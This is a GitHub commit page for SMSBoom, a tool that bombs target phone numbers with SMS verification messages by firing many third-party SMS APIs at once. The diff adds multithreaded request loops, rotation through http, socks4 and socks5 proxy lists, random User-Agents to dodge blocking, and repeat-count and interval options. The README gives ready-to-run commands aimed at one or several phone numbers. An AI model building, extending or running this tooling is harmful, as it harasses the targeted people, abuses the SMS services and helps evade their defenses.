Skip to content

Commit

Permalink
🐞 Fix: 完善功能, 修复之前乱写的Bug.
Browse files Browse the repository at this point in the history
- 通过代理调用短信接口, 支持http, socks4, socks5代理.
- 使用随机的User-Agent.
- 可指定轰炸次数, 轰炸间隔时间.
  • Loading branch information
Weclont committed Jul 2, 2022
1 parent 6bfb310 commit eaa051c
Show file tree
Hide file tree
Showing 4 changed files with 102 additions and 64 deletions.
28 changes: 16 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,3 @@
# thisPR.Feature

1. 通过代理调用短信接口.
2. 随机的User-Agent.
3. 去除循环模式, 新增"设置执行次数"模式, 参数"--frequency | -t", 用于指定要循环执行的次数.

![logo](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/smsboom-logo.png)

![test](img/test2.gif)
Expand All @@ -22,6 +16,9 @@
4. 通过 Flask 提供网页测试/添加接口.
5. 友好的命令行参数支持.
6. 采用方便的 pipenv 包管理.
7. 通过代理调用短信接口, 支持http, socks4, socks5代理.
8. 使用随机的User-Agent.
9. 可指定轰炸次数, 轰炸间隔时间.

## Quick Start

Expand Down Expand Up @@ -60,16 +57,22 @@
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx
```

启动64个线程,轰//炸多个人的手机号(19xxxxxxx),启动循环轰//炸,每个循环间隔60秒
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次

```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60
```

启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒

```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -s -i 60
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30
```

启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸,每个循环间隔60秒。
启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒

```shell
smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -s -i 60
smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30
```


Expand Down Expand Up @@ -161,8 +164,9 @@ Usage: smsboom.py run [OPTIONS]
Options:
-t, --thread INTEGER 线程数(默认64)
-p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
-s, --super 循环模式
-i, --interval INTEGER 循环间隔时间(默认60s)
-f, --frequency 执行次数(默认1次)
-i, --interval INTEGER 间隔时间(默认60s)
-e, --enable_proxy 开启代理(默认关闭)
--help Show this message and exit.
```

Expand Down
7 changes: 2 additions & 5 deletions flask_app/model.py
Original file line number Diff line number Diff line change
@@ -1,16 +1,13 @@
# encoding=utf8
# 储存数据库模型
from utils import default_header_user_agent
from . import db
from datetime import datetime
from . import ModelView
import json
from typing import Union, Optional
from pydantic import BaseModel

default_header = {
"User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40"
}


class ApisModelVies(ModelView):
create_template = 'api_edit.html'
Expand Down Expand Up @@ -38,7 +35,7 @@ class API(BaseModel):
desc: str = "Default"
url: str
method: str = "GET"
header: Optional[Union[str, dict]] = default_header
header: Optional[Union[str, dict]] = default_header_user_agent()
data: Optional[Union[str, dict]]

def replace_data(self, content: Union[str, dict], phone) -> str:
Expand Down
99 changes: 58 additions & 41 deletions smsboom.py
Original file line number Diff line number Diff line change
@@ -1,41 +1,61 @@
# encoding=utf8
# 短信测压主程序

from utils import default_header_user_agent
from utils.log import logger
from utils.models import API
from utils.req import reqFunc, reqFuncByProxy, runAsync
from concurrent.futures import ThreadPoolExecutor
from typing import List, Union
import asyncio
import json
import pathlib
import sys
import time
from concurrent.futures import ThreadPoolExecutor
from typing import List, Union
import asyncio

import click
import httpx


from utils import default_header_user_agent

from utils.log import logger
from utils.models import API
from utils.req import reqFunc, runAsync

# current directory
path = pathlib.Path(__file__).parent


def load_proxies() -> list:
"""load proxies for proxy.txt
:return: proxies list
"""
"""load proxies for files
:return: proxies list
"""
proxy_data = []
proxy_path = pathlib.Path(path, 'proxy.txt')
for line in open(proxy_path):
le = line.replace("\r", "").replace("\n", "")
if le == '':
continue
proxy_one = {
'all://': 'http://' + le
}
proxy_data.append(proxy_one)
try:
proxy_path = pathlib.Path(path, 'http_proxy.txt')
for line in open(proxy_path):
le = line.replace("\r", "").replace("\n", "")
if le == '':
continue
proxy_one = {
'all://': 'http://' + le
}
proxy_data.append(proxy_one)
proxy_path = pathlib.Path(path, 'socks4_proxy.txt')
for line in open(proxy_path):
le = line.replace("\r", "").replace("\n", "")
if le == '':
continue
proxy_one = {
'all://': 'socks4://' + le
}
proxy_data.append(proxy_one)
proxy_path = pathlib.Path(path, 'socks5_proxy.txt')
for line in open(proxy_path):
le = line.replace("\r", "").replace("\n", "")
if le == '':
continue
proxy_one = {
'all://': 'socks5://' + le
}
proxy_data.append(proxy_one)
except:
logger.error("proxies 加载失败")
return []
logger.success(f"proxies 加载完成 接口数:{len(proxy_data)}")
return proxy_data


Expand Down Expand Up @@ -86,13 +106,15 @@ def load_getapi() -> list:


@click.command()
@click.option("--thread", "-t", help="线程数(默认128)", default=128)
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.option('--frequency', "-f", default=10, help="执行次数(默认10次,设置为999999999为无限执行不退出)", type=int)
def run(thread: int, phone: Union[str, tuple], frequency: int):
@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int)
@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):
"""传入线程数和手机号启动轰炸,支持多手机号"""
logger.info(f"手机号:{phone},线程数:{thread},执行次数:{frequency}")

logger.info(f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
print(enable_proxy)
with ThreadPoolExecutor(max_workers=thread) as pool:
try:
_api = load_json()
Expand All @@ -104,20 +126,16 @@ def run(thread: int, phone: Union[str, tuple], frequency: int):
sys.exit(1)
for i in range(1, frequency + 1):
logger.success(f"第{i}波轰炸开始!")
_process = ''
for proxy in _proxies:
logger.success(f"第{i}波轰炸 - 当前正在使用代理:" +
proxy['all://']+" 进行轰炸...")
proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...")
# 不可用的代理或API过多可能会影响轰炸效果
for api in _api:
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(reqFunc, api, phone)
for api_get in _api_get:
_process = pool.submit(reqFunc, api_get, phone, proxy)
# logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
# time.sleep(interval)
else:
for api in _api:
pool.submit(reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFunc, api_get, phone)
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(reqFunc, api_get, phone)
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)


@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
Expand Down Expand Up @@ -159,9 +177,9 @@ def update():
with httpx.Client(verify=False, timeout=10) as client:
# print(API_json_url)
GETAPI_json = client.get(
GETAPI_json_url, headers=default_header).content.decode(encoding="utf8")
GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
api_json = client.get(
API_json_url, headers=default_header).content.decode(encoding="utf8")
API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")

except Exception as why:
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
Expand All @@ -183,6 +201,5 @@ def cli():
cli.add_command(asyncRun)
cli.add_command(oneRun)


if __name__ == "__main__":
cli()
32 changes: 26 additions & 6 deletions utils/req.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,33 +23,53 @@ def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Re



def reqFunc(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:

"""请求接口方法"""
"""通过代理请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)
logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
resp = client.get(url=api, headers=default_header_user_agent())
logger.info(f"GETAPI接口-{resp.text[:30]}")
return True
except httpx.HTTPError as why:
logger.error(f"请求失败{why}")
return False


with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:

"""请求接口方法"""
# 多手机号支持
if isinstance(phone, tuple):
phone_lst = [_ for _ in phone]
else:
phone_lst = [phone]
with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
for ph in phone_lst:
try:
if isinstance(api, API):
api = api.handle_API(ph)
resp = reqAPI(api, client)

logger.info(f"{api.desc}-{resp.text[:30]}")
else:
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
resp = client.get(url=api, headers=default_header)
resp = client.get(url=api, headers=default_header_user_agent())
logger.info(f"GETAPI接口-{resp.text[:30]}")
return True
except httpx.HTTPError as why:
logger.error(f"请求失败{why}")

return False


Expand Down

0 comments on commit eaa051c

Please sign in to comment.